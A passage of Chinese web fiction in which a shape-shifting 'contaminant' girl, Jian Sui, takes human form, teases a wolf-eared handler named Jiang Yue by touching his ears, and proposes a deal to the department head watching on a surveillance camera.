毕竟从人类以往的经验来看，S级污染物才会形成如人一般复杂的智力和情感。 姜越想到那些无法轻易砍断的蛛丝，心里叹了口气。 他觉得，或许眼前这只污染物远比报告中描述得强大。 假如今晚没能将它留下，人类日后将不得不面对什么样的情况呢？ 他不敢想象。 简岁没死当然是因为那强大的重构能力，她到现在才理解自己的重构速度代表着什么。 就是快到这些经验丰富的处理员居然都没想过，那其实就是E级以上污染物都有的个体重构能力而已，根本不是异能什么的。 简岁：“你问这么多，是为了拖时间吧？我猜江越梅叫了援军，想在今夜围剿我？” 姜越哼了一声，不说话。 简岁便又说：“说说看，叫了哪些人？另一个A级或者是S级？话说你们十四区有在职的S级异能者吗？” 姜越知道装不下去了。 不过他也不知道执行部会来哪些人。 可就在这时，眼前的半透明团子突然开始再次融化，而后竟然长出细长手脚、生出人类女孩的面容。 一个黑头发人类女孩出现在医疗部办公室，她穿着简单的白T，长发披散在肩膀，脸上神情平静。 在这个人人自危的污染时代，所有人都像被阴霾笼罩。 可以说是一条条紧绷的弦交错编织成这个世界。 而这个女孩，她整个人都透着一股轻盈从容的气质，半透明的眼瞳无论望着哪里，都仿佛是穿过这个时空看向另一个地方。 姜越坐在地上，愣愣地抬头看她。 污染物变成了一个人？？ 简岁冲他友好地笑一笑，然后突然伸手摸了摸他头顶的狼耳朵，毛茸茸的手感特别好！ 早就想这么干了。 姜越的狼耳朵因为这突如其来的动作瞬间抻直，哪怕女孩已经收回手，他的狼耳却还在剧烈颤抖。 他咬紧牙关，想说什么却说不出来，白嫩的脸瞬间爆红，一直红到脖子根。 她、她居然摸他耳朵！？ 啊啊啊啊啊啊啊啊士可杀不可辱！！！！ 一只年轻小狼默默地破防了。 简岁笑得更开心了，她抬眼看向高处隐藏的监视器：“江部长，在看着吗？” “我们聊一聊，做个交易吧？”